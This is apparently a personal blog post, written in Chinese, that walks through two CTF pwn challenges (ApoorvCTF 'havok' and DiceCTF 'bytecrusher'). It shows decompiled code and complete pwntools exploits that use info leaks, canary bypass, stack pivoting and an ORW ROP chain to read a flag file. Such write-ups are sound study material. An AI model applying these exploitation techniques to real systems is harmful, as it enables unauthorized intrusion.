ApoorvCTF&DiceCTF 2026 pwns

ApoorvCTF&DiceCTF 2026 pwns

周末打了两场国外的ctf,都是半夜开赛,也是又倒了一回时差

燃尽了做出来两道pwn,最后也是被学长带飞了

ps:参赛的队伍水平都好高,题目质量感觉也很高

也是记录一下wp好吧

1.ApoorvCTF binary exploitation

这个比赛只有一道pwn

感觉题目非常不错呀

考察的知识点刚好够我现在能做出来的程度

来看看吧

首先保护全开(国外的比赛好像都喜欢保护全开😃)

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* WARNING: Unknown calling convention */

int main(void)

{
long lVar1;
long in_FS_OFFSET;

lVar1 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
puts("=====================================================");
puts(" H A V O K \' S C O S M I C R I N G S");
puts("=====================================================");
puts(" Alex Summers channels the cosmic spectrum through");
puts(" four concentric plasma rings. Calibrate them.");
puts(" Break them. Claim what lies beyond.\n");
setup_seccomp();
puts("[*] Ring calibration pass 1 of 2:");
calibrate_rings();
puts("\n[*] Ring calibration pass 2 of 2:");
calibrate_rings();
read_plasma_signature();
inject_plasma();
puts(&DAT_001023f8);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}

ban掉了execve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
=====================================================
H A V O K ' S C O S M I C R I N G S
=====================================================
Alex Summers channels the cosmic spectrum through
four concentric plasma rings. Calibrate them.
Break them. Claim what lies beyond.

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0008
0005: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0008
0006: 0x15 0x01 0x00 0x00000039 if (A == fork) goto 0008
0007: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW

虽然存在后门函数,但是没用,因为system("/bin/sh")的底层还是调用了execve,所以只能打ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void cosmic_release(void)

{
long lVar1;
long in_FS_OFFSET;

lVar1 = *(long *)(in_FS_OFFSET + 0x28);
system("/bin/sh");
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

接下来调用了两次calibrate_rings函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void calibrate_rings(void)

{
long lVar1;
short sVar2;
int iVar3;
size_t sVar4;
long in_FS_OFFSET;
short index;
int i;
int raw;
anon_struct_48_3_decdb330 frame;
char idx_buf [32];
char label [128];

lVar1 = *(long *)(in_FS_OFFSET + 0x28);
frame.libc_anchor = (longlong)puts;
frame.pie_anchor = (longlong)main;
frame.ring_data[0] = -0x3f0011ffffffffff;
frame.ring_data[1] = -0x3f0011fffffffffe;
frame.ring_data[2] = -0x3f0011fffffffffd;
frame.ring_data[3] = -0x3f0011fffffffffc;
puts("[RING 1] Cosmic Ring Calibration Interface");
puts(&DAT_00102040);
memset(idx_buf,0,0x20);
read(0,idx_buf,0x1f);
sVar4 = strcspn(idx_buf,"\n");
idx_buf[sVar4] = '\0';
iVar3 = atoi(idx_buf);
if (iVar3 < 0) {
puts("[!] Negative indices are not permitted.");
}
else {
sVar2 = (short)iVar3;
if (sVar2 < 4) {
printf("[*] Ring-%d energy: 0x%016llx\n",(ulong)(uint)(int)sVar2,frame.ring_data[(int)sVar2]);
}
else {
puts("[!] Index out of calibration range.");
}
puts(" Provide a label for this ring reading:");
memset(label,0,0x80);
read(0,label,0x7f);
sVar4 = strcspn(label,"\n");
label[sVar4] = '\0';
for (i = 0; label[i] != '\0'; i = i + 1) {
if (label[i] == '%') {
label[i] = '_';
}
}
printf("[LOG] %s\n",label);
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

可以看到栈帧的布局为

1
2
3
4
5
6
| ring_data[3] |
| ring_data[2] |
| ring_data[1] |
| ring_data[0] |
| pie_anchor | -> main
| libc_anchor | -> puts

重点关注:

1
2
3
4
sVar2 = (short)iVar3;

if (sVar2 < 4)
printf("energy: %llx", frame.ring_data[sVar2]);

存在int -> short的类型截断,且程序只检查sVar2 < 4,但没有检查sVar2 >= 0,因此可以利用以实现负索引越界读取

输入65535

转换后

(short)65535 = -1

于是就能泄露frame.ring_data[-1],即pie_anchor

输入65534

(short)65534 = -2

泄露frame.ring_data[-2]

libc_anchor

我们就得到了pie基址和libc基址

随后调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void read_plasma_signature(void)

{
long lVar1;
long in_FS_OFFSET;

lVar1 = *(long *)(in_FS_OFFSET + 0x28);
puts("\n[RING 3] Upload Plasma Signature (up to 256 bytes):");
plasma_len = read(0,plasma_sig,0x100);
if (plasma_len < 1) {
puts("[!] No signature received.");
plasma_len = 0;
}
else {
printf("[*] Signature received (%zd bytes). Buffered in cosmic memory.\n",plasma_len);
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

向全局变量plasma_sig读入至多256字节,不存在溢出

最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void inject_plasma(void)

{
int iVar1;
char confirm [32];

if (plasma_len == 0) {
puts("[!] No plasma signature loaded. Aborting.");
}
else {
iVar1 = validate_plasma();
if (iVar1 == 0) {
puts("[!] Plasma resonance failure. Signature purged.");
}
else {
puts("\n[RING 3] Initiating plasma injection sequence...");
puts(" Confirm injection key:");
read(0,confirm,0x30);
puts("[*] Injection acknowledged.");
}
}
return;
}

存在溢出

刚好可以覆盖saved rbp和返回地址

于是便有思路了

先在plasma_sig中布局我们的ORW rop

随后构造saved_rbp为plasma_sig的地址

返回地址设置为经典gadget

leave; ret;

实现栈迁移

控制执行流

不过一切都基于泄露的pie基址和libc基址送来的gadget大礼包

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context(log_level = 'debug', os = 'linux', arch = 'amd64')

p = process('./havok')
#p = remote('chals1.apoorvctf.xyz', 5001)
elf = ELF('./havok')
libc = ELF('./libc.so.6')

MAIN_OFFSET = 0x17e0
PUTS_OFFSET = libc.symbols['puts']
LEAVE_RET_OFF = 0x1224

p.recvuntil(b"Probe a ring-energy slot")
p.sendline(b"65535")
p.recvuntil(b"Ring--1 energy: 0x")
leaked_main = int(p.recvline().strip(), 16)
pie_base = leaked_main - MAIN_OFFSET
p.recvuntil(b"label for this ring reading:")
p.sendline(b"x")

p.recvuntil(b"Probe a ring-energy slot")
p.sendline(b"65534")
p.recvuntil(b"Ring--2 energy: 0x")
leaked_puts = int(p.recvline().strip(), 16)
libc_base = leaked_puts - PUTS_OFFSET
p.recvuntil(b"label for this ring reading:")
p.sendline(b"x")

log.success(f"leaked main = {hex(leaked_main)}")
log.success(f"PIE base = {hex(pie_base)}")
log.success(f"leaked puts = {hex(leaked_puts)}")
log.success(f"libc base = {hex(libc_base)}")

leave_ret = pie_base + LEAVE_RET_OFF
plasma_sig = pie_base + 0x4060
open_addr = libc.symbols['open'] + libc_base
read_addr = libc.symbols['read'] + libc_base
write_addr = libc.symbols['write'] + libc_base
pop_rdi = next(libc.search(asm('pop rdi; ret'))) + libc_base
pop_rsi = next(libc.search(asm('pop rsi; ret'))) + libc_base
flag_str = plasma_sig + 0xc0
read_buf = plasma_sig + 0xd0
pop_rdx = libc_base + 0xd6ffd
ret_gadget = pie_base + 0x101a
xchg = libc_base + 0x181fe1

log.success(f"plasma_sig = {hex(plasma_sig)}")
log.success(f"leave_ret = {hex(leave_ret)}")
log.success(f"pop_rdi = {hex(pop_rdi)}")
log.success(f"pop_rsi = {hex(pop_rsi)}")
log.success(f"open = {hex(open_addr)}")
log.success(f"read = {hex(read_addr)}")
log.success(f"write = {hex(write_addr)}")
log.success(f"pop_rdx = {hex(pop_rdx)}")

rop = b""
# open
rop += p64(pop_rdi) + p64(flag_str)
rop += p64(pop_rsi) + p64(0)
rop += p64(ret_gadget)
rop += p64(open_addr)
# read
rop += p64(xchg)
rop += p64(pop_rsi) + p64(read_buf)
rop += p64(pop_rdx) + p64(0x50)
rop += p64(ret_gadget)
rop += p64(read_addr)
# write
rop += p64(pop_rdi) + p64(1)
rop += p64(pop_rsi) + p64(read_buf)
rop += p64(pop_rdx) + p64(0x50)
rop += p64(ret_gadget)
rop += p64(write_addr)

payload_plasma = p64(0)
payload_plasma += rop
payload_plasma = payload_plasma.ljust(0xc0, b'\x00')
payload_plasma += b"./flag.txt\x00"

p.recvuntil(b"Upload Plasma Signature")

p.send(payload_plasma)

p.recvuntil(b"Confirm injection key:")
payload_confirm = b'A' * 32
payload_confirm += p64(plasma_sig)
payload_confirm += p64(leave_ret)

p.send(payload_confirm)

p.interactive()

需要注意的是,不要忘了加个ret gadget以保证栈16字节对齐以避免程序crash!

一开始我本地将fd默认为3打通了,远程就是打不通

最后将其改为xchg rax rdi ret

终于拿下!

还是细节决定成败啊…

2.DiceCTF bytecrusher

直接看题目吧!

1
2
3
4
5
6
7
8
9
10
11
12
undefined8 main(void)

{
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
puts("Welcome to ByteCrusher, dicegang\'s new proprietary text crusher!");
puts("We are happy to offer sixteen free trials of our premium service.");
free_trial();
get_feedback();
puts("\nThank you for trying ByteCrusher! We hope you enjoyed it.");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void free_trial(void)

{
long in_FS_OFFSET;
int local_68;
uint local_64;
int local_60;
int local_5c;
char local_58 [32];
char local_38 [40];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_60 = 0;
do {
if (0xf < local_60) {
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
printf("Trial %d/16:\n",(ulong)(local_60 + 1));
puts("Enter a string to crush:");
fgets(local_58,0x20,stdin);
puts("Enter crush rate:");
__isoc99_scanf(&DAT_00102078,&local_68);
if (local_68 < 1) {
puts("Invalid crush rate, using default of 1.");
local_68 = 1;
}
puts("Enter output length:");
__isoc99_scanf(&DAT_00102078,&local_64);
if (0x20 < local_64) {
puts("Output length too large, using max size.");
local_64 = 0x20;
}
do {
local_5c = getchar();
if (local_5c == 10) break;
} while (local_5c != -1);
crush_string(local_58,local_38,local_68,local_64);
puts("Crushed string:");
puts(local_38);
local_60 = local_60 + 1;
} while( true );
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void get_feedback(void)

{
long in_FS_OFFSET;
char local_28 [24];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Enter some text:");
gets(local_28);
puts("Your feedback has been recorded and totally not thrown away.");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

存在溢出

存在后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void admin_portal(void)

{
int iVar1;
FILE *__stream;

puts("Welcome dicegang admin!");
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
puts("flag file not found");
}
else {
while( true ) {
iVar1 = fgetc(__stream);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
fclose(__stream);
}
return;
}

利用free_trial的漏洞每次泄露1字节得到pie_base和canary

最后溢出覆盖返回地址为backdoor即可

这就是bytecrusher吗…

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

elf = ELF('./bytecrusher')
context.arch = 'amd64'
context.log_level = 'debug'

#p = remote('bytecrusher.chals.dicec.tf', 1337)
p = process('./bytecrusher')


CANARY_OFFSET = 72
RET_OFFSET = 88


trial = 0

def do_trial(data, rate, out_len):
global trial
trial += 1
p.recvuntil(b'Enter a string to crush:\n')
p.send(data)
p.recvuntil(b'Enter crush rate:\n')
p.sendline(str(rate).encode())
p.recvuntil(b'Enter output length:\n')
p.sendline(str(out_len).encode())
p.recvuntil(b'Crushed string:\n')
return p.recvline(keepends=False)

def leak_byte(offset):
raw = do_trial(b'A' * 31, offset, 3)
return raw[1] if len(raw) >= 2 else 0x00

p.recvuntil(b'trials of our premium service.\n')

# 泄漏 canary
log.info('Leaking canary...')
canary_bytes = bytearray(8)
for k in range(1, 8):
canary_bytes[k] = leak_byte(CANARY_OFFSET + k)
canary = u64(bytes(canary_bytes))
log.success(f'Canary: {hex(canary)}')

# 泄漏 pie base
log.info('Leaking PIE base...')
ret_bytes = bytearray(8)
for k in range(6):
ret_bytes[k] = leak_byte(RET_OFFSET + k)
ret_addr = u64(bytes(ret_bytes))
log.success(f'Ret addr: {hex(ret_addr)}')

# 计算 backdoor
pie_base = ret_addr - elf.sym['main'] - 108
admin_portal = pie_base + elf.sym['admin_portal']
log.success(f'PIE base: {hex(pie_base)}')
log.success(f'admin_portal: {hex(admin_portal)}')

assert pie_base & 0xfff == 0, f'PIE base 不对齐: {hex(pie_base)}'

while trial < 16:
do_trial(b'X\n', 1, 2)

# stack overflow
p.recvuntil(b'Enter some text:\n')
payload = b'A' * 24
payload += p64(canary)
payload += p64(0)
payload += p64(admin_portal)
p.sendline(payload)

p.interactive()

还有几道题尝试了一下但是实在是太难了

最后也是被学长拿下了

慢慢来吧…

希望有朝一日我也能独立做出难题qwq😇

加油!


2026.3.22

不要灰心丧气小roxy

有些事情本来很遥远

你争取

它就会离你越来越近!


ApoorvCTF&DiceCTF 2026 pwns
https://roxy5201314.github.io/2026/03/09/ApoorvCTF-DiceCTF-2026-pwns/
作者
roxy
发布于
2026年3月9日
更新于
2026年3月22日
许可协议